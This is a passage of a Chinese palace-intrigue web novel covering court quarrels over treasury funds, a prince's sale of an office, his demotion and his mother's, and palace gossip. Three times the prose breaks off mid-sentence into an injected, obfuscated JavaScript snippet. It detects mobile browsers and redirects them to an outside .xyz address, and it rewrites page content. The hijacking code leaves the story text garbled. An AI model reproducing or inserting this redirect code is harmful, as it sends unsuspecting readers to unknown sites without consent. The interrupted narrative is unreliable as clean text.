张意初梗着脖子上前一步:“殿下容禀!户部三司核对三日,分毫不差。怪就怪在,明明户部已经拨了工部两万,但过了大半月,青峡关的闸口却迟迟未见动工。这个月工部又要二万,也不知道这笔钱究竟填了哪个窟窿?” 话音落下,工部几人脸色都难看起来。皇帝打量着面前的几人,其实他心中早就清楚,无论是前面的两万,还是后头的两万,定有大半落到了易家和自己的好大儿手里。 易望林轻咳一声:“陛下有所不知,原定蜀地木材需经山道运输,但年近寒冬,积雪封路,骡马难行。工部不得已改向漕运,光是雇船、雇纤夫便多耗了数倍银钱。” 皇帝转头问向一旁站着的李福瑞:“李福瑞,你是蜀地来的,冬运的难处,当真如易老所言?” 李福瑞冷不丁被这么一问,当即愣了一瞬,但常年伴君的精明让他脱口而出:“当真……当真!” 皇帝闻言,深望了易望林一眼:“易老随朕多年,为朝廷殚精竭虑,工部诸事向来稳妥,朕也是知道的。此次修闸受阻于天时,实乃无奈。”他抬手轻抚龙椅扶手,声音缓了几分,“如今西北战士焦灼,外事不平,难以定天下。伯喻,这两万,先给兵部,剩下修闸的两万,再找办法筹集。” 这时,张意初开口了:“陛下,臣有一计禀报。” 皇帝看着这年轻面孔,好奇道:“你说。” 张意初娓娓道来:“解铃之法,终须系铃人施为。若银两皆出自民间膏血,朝廷怕是要失民心。臣愚以为,不如将此重任委之六部僚属,彼等既食君禄,必当忠君之事,行事自当高效可期。” 此话一出,惊起了一番波涛。众人心知肚明,若是从民间商人搜刮,只不过是费时费事罢了,可若从自己身上割肉,岂有愿意的道理? 皇帝扫视了一眼众人,道:“好,就按爱卿的意思去办!”他转头盯住宇文拓,语气冷硬如铁,“拓儿,你们工部要的多,你便多担待些!”说完,又看向伯喻,“即日起,朕命宣王全权追缴国库,尔等务必全力配合。” 会谈结束,大臣们一个接一个地走出大殿。李福瑞满脸堆笑地追上去,搀过易望林:“易大人腿脚不便,怎地走这么急,当心呀!” “老臣一把年纪了,腿脚自然慢,若不走急些,后生们该催了。”这句别有深意,表面上指的眼前这段路,实际上点的却是官场之路。 众人自然耳清目明,一点就通,听了这话脸色也不由得变了变。 那李福瑞立即赔笑着上前半步:“易大人这话说的!咱们都是为朝廷办事,为皇上办事,手心手背都是肉,哪有同室操戈的道理!” 40.云舒 走出了勤政殿,宇文泰与宇文拓并肩而行,而宇文拓身后则拖着一帮垂头丧气的六部官员,老臣们在他肩后大吐苦水:“王爷,这……这可怎么办呐!” “我们上哪儿去找这么多钱,这几年部里的开支大,还剩几个子儿!” 宇文拓贵为皇长子,这帮老臣对他未来皇储的身份心知肚明,这回追缴国库又是他工部首当其冲,因而都揪着他不放,把他当作救命稻草。 宇文拓何尝不明白其中缘由,起初还勉强压着气听着,一路走着,这些老家伙们鼓鼓囊囊个不停,终究是烦了,于是抬手吼道:“两百万两银子,有什么难的?把我端王府卖了,难道还还不起?” 众人一听,皆敛声屏气,方才的怨气将将压了下去。其中还不肯死心的又抬眼瞅着一旁沉默的宇文泰,期盼着从他嘴里还能再抠出什么法子来。 宇文泰缓缓道:“这个时候,发牢骚也无用。你们不如这几天多去宣王府,和老七喝喝茶,在他面前说几句好话,他一高兴,便把账给你们免了。” 听闻此话,混迹官场年限久的自然也清楚了,以为冤大头宇文拓兴许能帮着他们一起渡过难关,结果这王爷也是泥菩萨过江——自身难保,另一个菩萨宇文泰不出所料,听他话中意思,也是指望不上了。众人心中无奈,只能硬着头皮跟老七硬扛,又不免对宣王和张意初一党起了龃龉。 大臣们喟叹几声,纷纷散去。 待那帮拖油瓶走远,宇文拓才开始发泄怒气:“好个老七,得了父皇的垂青,现在开始治起我们来了!” 宇文泰道:“老七不过是代父皇行事罢了。不过易望林如此轻易便放弃了饷银,有些蹊跷。”他二人绕进了御花园,到了承影湖中的玉镜台上坐了下来。 宇文拓刚一坐下,便冷哼一声:“易望林那老狐狸哪里是吃素的?他若不服软,跟父皇对着干,那就是两败俱伤的下场。父皇又何尝不清楚他干的勾当?不过是把罪都安到我头上来了。”越说越气,狠狠啐了一口,“那张意初又是从哪儿蹦出来的玩意儿,提什么追缴欠款,我看他不过是老七对付易望林的狗!”说完,他眼珠一转,“二弟,何不让那督粮官的位子卖出去?也能填补工部今年的亏空。” 宇文泰神色自若:“这督粮官事关军粮,父皇格外看重,若是出了差错,恐怕我们都得问责。” 宇文拓不高兴了:“是你问责还是我问责?” 宇文泰收起了脸上的和缓之意,目光直逼端王:“督粮官乃兵部、户部共同设立,军粮从滁州运往朔州,这一路上,修建粮道是你工部负责,拨款采买是户部负责,运输分发是我兵部负责,哪一块能脱离了这督粮官?” 宇文拓被这话说得有些动摇:“话说得倒是不假,不过咱们选个靠谱的人便是。那苏明义不是要辞官吗,他辞了,让别人来顶上!” 宇文泰轻叹道:“苏明义摆明了要拿父皇来压我们,不过今日这一闹,钱是到账了,他也不会走了。” 宇文拓啐了一口:“真是条好狗,本王迟早给他薅下来!”说完,他气得将茶杯掀翻在地,吓得边上的侍女哆哆嗦嗦地来捡碎片。 “怎么这么贱!刚落到地上就巴巴儿地跑过来捡?”他对地上跪着的侍女喝道,那侍女捡也不是,不捡也不是,登时慌了神。 宇文泰开口解围:“下去吧,这儿暂时用不着你。”宫女如获大赦,立即站起身来,福身倒退着离去。 “她不过是个下人,大哥何必发这么大的火。”宇文泰说的“她”明面上是指方才的宫女,实际上二人心知肚明,“她”也暗指张意初和苏明义。 “如今二弟也为下人说话了?”宇文拓斜眼向他看去,“我怎么记得,你被他们折腾了不少啊?” “这个张意初向来爱顶撞人,恐怕还没等我们出手,就有人抢先一步了。”宇文泰这话虽在说自己,也在点宇文拓。 宇文拓纵使平时莽撞易怒,但人也并不蠢钝,笑了一笑,又重新拿起另一汝窑瓷杯,“二弟,上次在塞外,你和杨柯在林场查案遇袭,想你一身武功凌厉,何时下滑到几个刺客都打不过?明明前几日未见落雨落雪的,地面也没什么泥泞打滑的迹象,若非故意,谁能料到你这个高手也会掉下去。” 宇文泰这时却沉默了,修长手指摩挲着青瓷的杯盖,整个人慵懒地陷在藤椅中。 只需一瞬,宇文拓便了然于胸,朗然大笑道:“原来如此!原来如此!没想到二弟也有铁骨绕指柔的一天!”说完,宇文拓旋即收敛笑意,眸中露出冷意,“可是阿泰啊,这女人并非善茬,你为她掉落山崖,为她接骨治疗,她倒好,回宫便投入老七的怀抱。”他端详着宇文泰的脸色,接着一脸愤恨道,“前几日俩人还在御花园里搂搂抱抱,老七甚至背着她走了一路。这两人也真是过分,把皇宫当成他二人的了!” 在宇文拓面前,宇文泰自然不能如实相告——他选择坠崖本就是将计就计,为的是粉碎丽妃的阴谋陷害。于是他沉默以对,任由宇文拓在这个节点上会错了意。 见宇文泰神色随着他的话语逐渐冷硬起来,宇文拓继续添油加醋:“我听承影湖附近的宫人说,他们夜夜去观星阁私会。这老七,向来是万花丛中过,片叶不沾身,往日那么多女子为他相思成疾,他倒好,轻飘飘一句‘人贵在自重’就把人打发了。哼,如今怎么又要跟你去抢女人了?” 宇文泰徐徐起身,扶槛西望:“抢又如何?”薄日将他的身影拉得修长,“老七这样的人,给不了她幸福。” “当真?”宇文拓惊讶道,“京中女子想嫁给他的排着队能到城门外去,二弟何出此言?” 秋风卷着枯叶掠过回廊,宇文泰微眯起眼,语气中带着秋后凉意:“大哥,你我都明白,老七最看重的,难道会是感情?” 宇文拓冷哼一声:“那倒是。老七鬼精得很,在父皇和易老头之间左右逢源,如今还攥着户部钱袋子。”突然想到了什么,他压低声音,凑到宇文泰耳边,“不过京城最近风声紧,有传言说柔然细作混了进来,不知跟伯喻有无关系。” 宇文泰抬手按住大哥肩膀,神色郑重道:“伯喻虽有柔然血统,但瑾妃早亡,这些捕风捉影的话传了出去,于皇室名声有损。”说完,拍了拍宇文拓后背,望向宫墙外的方向,“大哥,我还有要事处理,先走一步。” 宇文拓没好气地看着宇文泰的背影,哂笑一声:“哼,连说话的语气都跟那丫头一模一样了,你们两个人,迟早都要栽在她手里!” 咸毓宫内,杨柯半跪于榻前,手里捧着的细瓷碗装着金疮药,泛着淡淡药香。她握起乐白的手,刚触到手腕,忽听得一道熟悉的声音从门外传来:“小白——” 乐白苍白的脸上顿时泛起红晕,杨柯也搁下药碗站起身来:“你且歇着,我去迎他进来。”杨柯走出寝殿,云昌吉正立于院内的梧桐树下,他身旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484216|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站着一位女子,一袭杏色长裙,身姿高挑,亭亭玉立。 云昌吉开口便道:“乐白伤势如何?” 醒初笑着回道:“云公子放心,太医说,郡主再养半个月,应该就没事了。” 云昌吉点点头,抬手介绍起身边的女子:“这是云舒,易望林易大人的千金。” 杨柯看向此人,只觉人如其名——“髣髴兮若轻云之蔽月”,当时读到此句只觉得曹子建诗人心性,夸大其词而已,如今见了她,才知道此言不虚。 云昌吉继续道:“易姑娘医术高超,前几月客居新郑,昨日才回京。我想着小白的伤始终不见好,不如请云舒帮着瞧瞧。” 杨柯闻言心中大喜:“真是太好了!”她望向易云舒,恳切道,“若能将乐白医治好,我定倾尽全力报答!” 易云舒微微颔首,不疾不徐道:“杨姑娘言重了。郡主身体欠佳,若能恢复如常,自然也是云舒心中所盼。” 杨柯牵起云舒的手,就要领她进门去:“小白,你瞧谁来了!” 她们还未踏过门槛,云昌吉已早一步抢进门,见乐白歪在榻上,三步并作两步冲过去,一把握起她的手:“小白,伤口还疼吗?” 乐白见了他,嘴角立即扬起:“当然疼呀!”见他眉头皱成疙瘩,又凑近他耳边,软声道:“要是你给我吹吹,就不疼了。” 昌吉立刻俯下身,小心翼翼地对着她的伤口轻吹,乐白被他的旁若无人惊得愣了一瞬,旋即便甜甜笑了出来。 杨柯看他二人方一见面便卿卿我我,浑身起了鸡皮疙瘩。望向一旁的云舒,她正微笑着看着她们,眼中似有一抹羡慕和酸楚。 杨柯略感奇怪,但也不作多余思考。她干咳一声,提醒云昌吉别忘了正事。 昌吉登时反应过来,向乐白道:“小白,云舒刚从新郑回来,我特意请她过来给你瞧瞧伤势。” 乐白望向云舒,笑着道:“我这点儿小伤,哪里需要云舒姐姐来看,过几日便没事了。” 昌吉语气略带责备:“都什么时候了还说见外的话?这些日子瞧你昏昏沉沉的,我夜里都睡不踏实。”他转头望向云舒,神色瞬间柔和下来,“易姑娘,麻烦你了。”说罢起身让出榻边的位置。 易云舒莲步轻移,广袖扫过软垫,徐徐坐下,素白指尖搭上乐白腕间,闭目凝神片刻,启唇道:“郡主脉象虚浮杂乱,指尖紫黑蔓延至腕,确是中了紫茎草的毒。这毒着实罕见,若按照太医院的办法,恐怕压制不住。” 一旁看着的杨柯急道:“这可如何是好?紫茎草是西域奇毒,解药更是难以寻觅。” “杨姑娘莫急,”她的声音如同山涧溪流,潺潺流进听者心内,抚平了人心内的焦躁,“紫茎草虽毒性剧烈,但好在郡主吉人天相,毒素尚未侵入五脏。我手头虽无现成解药,但可先施针护住心脉,再以天山雪莲配伍九蒸九晒的何首乌吊住性命。紫茎草虽毒,却也讲究‘以正压邪’。待药效入体,自能将毒素逼出三分。” 话毕,其余三人皆松了口气。杨柯刚要开口道谢,门外院子里忽然传来丫头的声音:“小姐!小姐!”众人皆停下动作,向她看去。 丫头跑进了门来,上气不接下气。云舒柔声道:“先别着急,有话慢慢说。”她抚了抚丫头的背,问道,“你怎么来凌薇苑了?” 丫头眼里泛出了泪光,急声道:“不好了,出大事了……老爷出事了!” 41.卖官 半日前,勤政殿内。 御侍令公孙瑶垂首立于蟠龙书案旁,将手中文书递给皇帝:“陛下,这是户部呈送的军费明细。” 皇帝接过折子,拧眉细看,神色骤冷:“朕记得去年秋天,粮价不过二两一石,如今怎地涨到六两?” 公孙俯身答道:“经户部查核,症结出在青峡关的漕运。今年过关费用涨了许多,粮商为弥补成本,不得不提高粮价。” “又是青峡关?” 公孙避开皇帝目光:“是。半年前刚换了漕运使,如今新上任的名为周焕。” 皇帝欲言又止,感觉事情不太对劲,顿了顿问道:“这个周焕从前在哪里任职?” “他在工部担任建司使,负责材料采买和运输。此人一年前本要调往蜀地,后来不知为何,进了兵部漕运司担任漕运使。工部修建青峡关,也是他一同上报的。” 皇帝忽然笑了出来:“公孙,你说这天下的事情怎么总能凑到一块儿?” 公孙顺势笑道:“陛下不知道,周焕大人为人贴心,还为众多粮商专程开了个茶铺。” 皇帝眉头拧起,忽然坐直了身子:“他还有心思开茶铺?” “陛下不妨看看这个。”说着,公孙向他递去一沓簿子,“这是顺风茶铺的流水,还有闸口材料的采买明细。” 皇帝接过,翻开凝神细看,越看眉头皱得越紧,最后忽地一合,“啪”地一声将簿子摔在案上:“那个周焕现在在哪儿?” 公孙答道:“昨日兵部校考,想必他已经从滁州回京,此刻应该正在京中。” 皇帝恼怒的目光投向李福瑞:“让他来见朕!” 李福瑞赶忙道:“是。” 片刻的功夫,田咏便领着周焕进了勤政殿。 皇帝眯着眼睛对他上下审视了遍,开口道:“周焕?” 周焕抬起头来,谄笑道:“陛下,小人就是周焕。” “你从前在工部建司任职,那朕问你,防讯木桩,要哪种木桩材质更好?” 周焕恭敬回道:“回禀陛下,自然是柏木了。” 皇帝的眼皮跳了一下:“为何这次修闸,运来青峡关的木材都是杨木?” 周焕脸色骤变,结巴道:“微……微臣督查不力,这次回去一定彻查!” 皇帝冷哼一声:“漕运使要干什么你弄不清楚,但你开的顺风茶铺倒日日客满!” 周焕身上顿时一酥,滑溜着跪倒在地:“陛下明察!顺风茶铺只是内眷的营生,与漕运毫无干系!定是有人栽赃嫁祸,求陛下给微臣彻查的机会!” 皇帝转过身去,强压着怒火,冷声道:“你先出去候着!” 遣走了周焕,他的目光落到了一旁的田咏身上:“这个人是谁指定的?” 田咏道:“回陛下,一年前由端王殿下举荐。” 皇帝眼中又惊又气,紧皱着眉头:“这人和端王什么关系?” 田咏表面解释,但实际放刀:“据臣所知,是易府的人带到端王府,但端王当日并未见过这人。” “什么!”皇帝惊得从龙椅上站起。易家勾结吏部,企图染指粮道,而端王自己却连人都不见,可见其对朝政之随意放肆到了极点。 田咏又补充道:“据人说是易府的亲信,至于是谁的亲信,就不得而知了。”他顿了顿,又拿出一本册子,“这里头是周焕打点吏部官员的记录,其中大半进了宫家的口袋。” 这时,门外抬进来一个大木箱,木箱打开,里面装的满满的白银,只不过这白银全都染作茜红,“这五百两银子在滁州乐坊查获,经核实,正是周焕所出。” 皇帝并未翻开册子,只是冷冷看着面前的木箱,深吸一口气,负手背过身去:“你先下去吧。” 田咏还要说什么,被皇帝抬手拦下:“跪安吧。” 田咏离开后,殿内陷入死寂,忽听皇帝怒喝一声:“传宇文拓!” 宇文拓一路跑着到了勤政殿,气喘吁吁地到了门口,见周焕规规矩矩地立于殿前,跟个石人似的,气不打一处来,伸腿就要去踹周焕,还好被李福瑞拦住:“殿下,快请进吧。” 宇文拓转头问道:“公公,是不是他说了什么不中听的话?” 李福瑞叹了口气:“方才是田大人在面圣,奴才在外面候着呢,说了什么奴才不知道,不过陛下现在正在气头上,殿下好生小心些才是。” 宇文拓低声喝道:“田咏这个贱骨头,定是有人撺掇了他来。” 李福瑞劝道:“殿下,这个时候了,先去面见圣上吧。” 宇文拓压下了怒气,抬眼看了他一眼,作了一揖,掀起衣袍,抬步进去。 “参见父皇!”宇文拓虽自知有罪,但声音却毫不露怯。 皇帝安然坐于龙椅上,手里慢慢拨动着楠木念珠:“上次朕命六部追补欠款,你们都干得怎么样了?” 宇文拓答道:“工部已上缴十万两,其余的儿臣还在同易大人商量对策。” 皇帝道:“你这十万两拿得这么快,不像是往日的作风啊?” 宇文拓心中一跳:“父皇的旨意,儿臣哪敢怠慢。” 皇帝缓缓站起身来:“你所谓的不怠慢,便是拆东墙补西墙?” 宇文拓仍旧装傻:“若父皇所说是修补青峡关一事,工部的确没有盈余的钱款继续动工。若非户部侍郎张意初做事太过操切,提了这个建议,说不定青峡关下月便能建成。” 皇帝深深凝视着他:“下个月,你嘴上说没钱,手里动作倒是挺快。” 宇文拓听言,脸色一变,低下头去:“不知父皇所谓何意。” 皇帝怒道:“门外那人是从哪里来?你这十万两又是从哪里来?你到现在还要来蒙朕!” 事已至此,宇文拓心里明白此事已无处可藏。此人是易家通过宫家塞进兵部的,他能被田咏顺利带到圣前,其中有多少凶恶在背后作祟,即使纨绔如宇文拓,也一清二楚。既然事情已经败露,自己若咬死不放,再多说一句,在盛怒的父皇面前就多难堪一分。 宇文拓旋即哭丧着脸道:“父皇,儿臣不孝,儿臣不忠,收受此人钱财确实是为了弥补国库空缺,儿臣实在是被逼无奈,只能用这个手段了。” “被逼无奈?”皇帝挑起了眉毛,“你知不知道前线军粮频出状况,就因为你卖的这个好官!” “工部的银子本身就不够用,加上建闸支出庞大,百般为难,实在是拿不出钱了,只好动了这个歪心思。” 皇帝甩给他了一簿账本:“你看看,这里面说的,好像和你嘴里讲的完全相反呐。” 宇文拓狐疑地看着皇帝扔过来的账本,翻开一看,浑身一颤。泛黄宣纸上密密麻麻列满了青峡关修建的价目比对,光是其中木材一项,原本该用的柏木被替换成了价低五倍的杨木!更骇人的是,吏部和工部在其中勾兑染指的数目记得清清楚楚! “这……这……”宇文拓惊得说不出话来。 皇帝声音沉了下去:“易望林在晌午拿着一百万两,长跪于殿外,请辞了工部尚书一职。” 此言一出,宇文拓更是意识到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484217|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己捅的篓子有多大了。 “父皇,父皇,您听儿臣解释,儿臣这么多年来,虽不说殚精竭虑,但也勤勤恳恳地为工部出了力,这些银子他易望林还了,儿臣也能还!” “你能还?”皇帝再也忍受不了他牵强的说辞,厉声大吼,“既然能还,为何还要卖官?”账本飞了出去,直抛向殿外。 “父皇,儿臣将府中银两拿来补贴工部开□□易望林贪得无厌,儿臣跟他不同啊!”宇文拓也厉声自辩,仿佛声音越大便越不容质疑。 皇帝反而冷静了下来,目光由怒变冷,眼中一汪深潭,直直地射向宇文拓,似乎想看出他说的话里有几分是真诚。 宇文拓知道应该将头抬起来了,恭迎询望,满脸都是真诚。 皇帝深凝了他一瞬,恨声道:“你遇事推诿,视朝纲若儿戏。身为皇长子,不思为国尽忠,反而一心贪墨,竟至勾结群党、卖官鬻爵的地步!”说完,俯下身子直视着宇文拓的双眼,哀叹道:“你说,朕要如何饶你?天下人要如何饶你?” 宇文拓眼中露出了恐惧,他开始意识到此事已不再像之前一样,不过是禁足半月便可一笔勾销,现在的父皇已经对他耗尽了所有耐心和宽容。 “陛下……陛下三思!”丽妃的哭声从殿外传来。 “额娘!”宇文拓转头一看,母亲丽妃正焦急地小跑进来,眼中的恐惧更深了。 丽妃一个扑通跪在皇帝脚边,抓着皇帝的衣角乞求道:“陛下,拓儿一时糊涂,再给拓儿一个机会吧。” 皇帝无奈转向她:“丽儿,你来前朝做甚?” “陛下,臣妾听闻拓儿犯了大错,不忍心看到陛下手刃亲生骨肉!”丽妃的眼泪从脸颊滑落,我见犹怜。 皇帝收敛了心神,俯视着儿子,沉声道:“宇文拓行为之恶劣,为国法所不容。你要朕瞒着天下人,包庇这个祸害吗?” 丽妃见眼泪无用,立即磕起了头:“陛下,若您要为拓儿定罪,也将臣妾一并罚了吧。” 这话反而起了反作用:“你在威胁朕?”皇帝眉头紧拧,“乐白落马一事,朕暂且放过,如今你竟然还要来左右朕的决定?” 丽妃吓得浑身颤抖:“陛下,臣妾不敢,臣妾不敢,还望您看在拓儿伴您膝下这么多年,臣妾服侍您这么多年的份儿上,网开一面吧。” 皇帝背转过身,脚步如铅般沉重,一步一步重新迈向丹樨上的龙椅。 丽妃目光悲切地紧盯着皇帝的背影,呼吸也随着他的脚步一重一轻。 只听皇帝缓缓扬起头,重重地叹了一声:“李福瑞。” 李公公这会儿才敢从门外进来:“奴才在。” 足有半柱香的功夫,勤政殿内悄然无声,李福瑞就这么躬身在丹樨旁等着。 陡听得龙椅前一声:“拟旨。” 李福瑞装作犹豫地瞧了瞧座下的丽妃母子一眼,又仰头望着闭目的皇帝,轻叹一声,拿来了笔墨准备拟旨。 丽妃一惊,又无法扑到丹樨上的皇帝身前痛哭,只好膝行至台阶底下,仰头望着他哀嚎。一旁的宇文拓反而安静下来了,垂首凝视着地面,眼眸中尽是冰冷。 “端王有失惑无常之性,身为皇长子,不可以奉宗庙,为天下主。今废端王之位,降为四品郡王,削去统领工部之职。若无诏书,不得进宫。其母宫氏教养无方,降为丽才人。” 言毕,殿内悄无声息,只有丽妃呜咽的哭声。 宇文拓跪在地上,像块被废弃的石头。良久后才听他一字一句地吐出:“儿臣……领旨。” 42.端王 自易云舒施针用药后,乐白腕间紫黑渐褪,精神也一日好似一日。眼见乐白康复在望,杨柯心中卸下不少担子。她从咸毓宫里出来,迫不及待地往翠微殿去,想把这喜讯第一时间分享给伯喻。 晚秋的御花园还飘着桂花的甜香,杨柯踩着满地碎黄的花瓣疾行,忽听假山后传来窸窸窣窣的响动。 “妹妹,鎏芳宫要易主了。” “你是说丽妃娘娘?陛下封她为皇贵妃了?” “哪里啊,丽妃被贬到杏芳苑去了,以后要叫她丽才人。” “怎么可能呢?丽妃得宠了十几年,更别提宫家了,你唬我呢?” “妹妹还不知道吧,昨日吏部田大人带了漕运使来,几句下来,陛下龙颜大怒。原来端王为了还户部的钱,把漕运使卖给了易家的人!”听着的宫女大吃一惊,忍不住“啊”了一声,说话的赶紧捂住她的嘴,“妹妹,可别让旁人听见,不然你我就……”说着做了一个砍头的手势,声音又低了几分,“不仅如此,陛下还收到那漕运使给吏部的行贿礼单,据说此人是易大人的侄子!这事儿把陛下气得话都说不出来了,当场就给端王削了爵位,光给他留了一套东城的宅子。就连易大人也在勤政殿外跪了足足三个时辰!” “跪了三个时辰?” “是啊,不然易家也要被一锅端了。所幸陛下念在他是两朝老臣,只是免去了他的官职。” “可是丽妃背后不也有宫家撑腰?” “到了结党营私这个地步,宫家不被抄家就不错了。也不知道宫家犯了什么邪,昨晚陛下还未降旨处置,宫大人便在家中听闻了女儿外孙的噩耗,心疾突发,当晚气绝身亡。” 听着的宫女啧啧摇头:“真真是树倒猢狲散,宫家也是凄惨呐。” “哪里凄惨了?前些时日,乐白郡主在塞外落马出事,我听说啊,就是丽妃下的手!” 听者又是倒吸一口冷气:“那可是御马呀!” 杨柯心里一颤,原来毒害乐白的凶手竟然是丽妃,但想到如今局面,她心里感到莫名复杂,并未如往常一般生起纯粹的恨意。 “丽妃算计了这么多年,不知害了多少人。不过,她对端王可是费了不少心思,端王小时因为读书挨了丽妃多少打,冰天雪地里,穿着单衣被丽妃扔在玉镜台上,背不出来先生教的课文就不准下来。” 听者疑惑道:“妹妹进宫得晚,常听说端王打骂先生,按理来讲,丽妃这么严厉,端王也该乖乖读书了?” 说话人笑了笑:“端王也是个犟种,丽妃是打是骂还是软和话,全用尽了,他照旧油盐不进,你猜怎么着,殿下当着陛下的面把书本撕了个悉碎,长大了些就开始打骂先生。”她忽然来了劲,又问道:“诶,你可知道当年端王骑射一事?” 听者摇头道:“不知。” 说者继续道:“端王年岁与羲王、章擎章公子相仿,三个男孩一道玩儿,自然要学骑术。现在大家都以为羲王、章公子骑术一绝,端王没那个天赋,实际上啊,当年端王骑射是最厉害的。” “那为何殿下后来如此讨厌骑马?” “有一次,宫里搞了个骑射大会,那天端王拔得所有头筹,连章公子和羲王都拿他没办法。到了晚上,丽妃又带着端王去了猎苑的马场,端王高高兴兴地去了,以为额娘要奖励他,结果,丽妃命人牵来了端王最爱的马,当着他的面,把马头给活活砍了下来!” 杨柯听得一身冷汗渗了出来,听着的宫女更是大惊一声,另一人伸手捂住她的嘴,责备道:“你还想不想听了?” 那宫女惶急地点头,说者叹息道:“端王那会儿才十岁,哪经得起这样的刺激,从此以后,再也没踏入过一次猎苑,更别说骑马了。” 杨柯这时才明白,难怪宇文拓的脾性如此古怪暴戾,也难怪乐白骑马出事那天,他眼里会露出那样的厌恶。 “丽妃为何要这么心狠?” 说者啧嘴道:“还不是因为陛下。那年章家在前线连打胜仗,在百姓中威望越来越高,都在传‘无章氏便无西北,无西北便无大夏’,道理是这么个道理,但话不能这么说,陛下听了很难不忌惮。端王骑射天赋过人,在陛下眼里,就是一种威胁。丽妃七窍玲珑,自然察觉到了这一层,立时便掐断了端王未来在兵权上的风险。” “可如今章家不也好好的?” “那是因为朝廷缺不了他们,更何况这几年章家连节败退,也没有了当年的威胁。” 二人又开始聊起了别的,杨柯便没有再听了。虽然宇文拓与她一直水火不容,但杨柯心里不免对他生起了一丝怜悯,原来那个暴戾的皇子背后,是一颗经历了残酷童年后无处安放的心。 杨柯在翠微殿并未见到伯喻的人影,只好扫兴而归。回到凌薇苑,刚一进屋,便和青桃应声相撞。 青桃一幅煞有介事的样子:“姑娘,要变天啦!” 杨柯将视线撇开,嘴上调侃道:“又是什么新鲜事儿?莫不是承影湖又上了什么新戏?” 青桃反而更来劲:“现实可比那戏里精彩太多。丽妃娘娘一夜之间降为才人,端王连封号都被削了!如今宫门紧闭,听说连王府都被禁军围了……” 杨柯默不作声,一旁听着的杜衡叹了口气:“这宫里向来母凭子贵。端王一朝失势,丽妃也不能幸免。” 青桃低声补充道:“我听小云子说,昨日大中午的,易大人在勤政殿外跪了好几个时辰,辞去了工部尚书一职。” 杜衡往四周瞅了瞅,低声道:“虽然后宫向来不能乱议朝政,不过听说与国库空虚一事有关。” 青桃惊道:“难道是易大人和端王偷了国库?” “嘘!隔墙有耳。”杨柯将手指放在唇边,示意众人噤声。其余人当即会意,四散而去。方才御花园的所闻又浮上杨柯心头,如今朝堂瞬息万变,这次牵扯上工部贪腐,户部又怎会安然?念及此,她心中不禁担忧起伯喻来。 刚好今日乃月中十五,晚膳后,杨柯特意换上一套双蝶绣裙,往观星阁去。 上一次来时的暖风已经换作了深秋的冷风,簌簌刮过,扰得阁前风铃刺耳作响。 杨柯拢紧披风,饶是冻的牙齿打颤。 熟悉的“喵”声响起,黑猫从暗里窜出,直接拱进杨柯怀中。她抚摸着猫儿,柔声道:“小猫,你说伯喻何时来呀?”话音未落,猫儿突然窜开,消失在转角。 “好个野猫,一问到紧要处就跑。” 杨柯独自倚着朱栏枯坐,看着月光逐渐被乌云渐渐吞噬。阁中浑天仪已经流转了一个来回,仍旧不见伯喻的踪影。想到与青桃约定回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484218|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫的时辰已过,杨柯轻叹一声,起身抖落裙摆的霜花,转身踏入沉沉夜色。 一阵冷风吹过,把杨柯堵得顿时喘不过气来。 这时,宫道上一个宫女端着青瓷食盒走过,嘴里鼓囊着:“这么多东西要送,明日还有大雨,连避雨都不知道往哪儿去。” 杨柯耳尖一动,一把将她拉住,疾声问道:“你方才说伯喻在哪儿?” 那宫女见她直直逼问,顿时张皇失措:“奴婢说的是避雨,宣王殿下在哪儿,奴婢……奴婢也不知呀。” 杨柯这才醒转过来,松开了对方的手:“抱歉抱歉……” 杨柯不禁开始懊恼,自己怎会如此糊涂,想来当是这几日思念伯喻太甚,连幻听都生出来了。正自嘲地摇头,忽见前方两个高大的人影正穿过朱红宫门,朝着自己的方向徐徐而来。 原来此刻她已走至宇文拓平日所居的长宁殿。走近后,才发现对方竟是许久未见的宇文泰和他的侍卫翔宇。 “参加羲王殿下。”杨柯向他福了个身,“殿下怎么从端王的殿中出来?” “我……想去看看他,不过他已经离开了。”宇文泰一身熟悉的玄色,长身玉立,但他看起来比前几日憔悴了一些,眉眼间似乎褪去了一些锋芒。他垂眼打量了下杨柯,道:“看来你的伤已经好了很多。” 杨柯笑了笑:“都过了快半月,除非是玉做的腿,哪里有不好的道理?” 他眼神迷离,微微勾起嘴角:“那就好。” 也许是经历了落崖相救一事后,二人之间那股剑拔弩张的氛围已经不在,再加上昨日宇文拓被废一事,他的心情想来也不会高涨。不过,没有了往日的唇枪舌剑,杨柯竟不知道该同他说些什么了,两人就这样陷入了沉默。 杨柯开口道:“殿下,若您心情欠佳,不妨去承影湖那儿听听小曲,最近宫里又来了戏班子,每日都在御花园那块唱戏。” 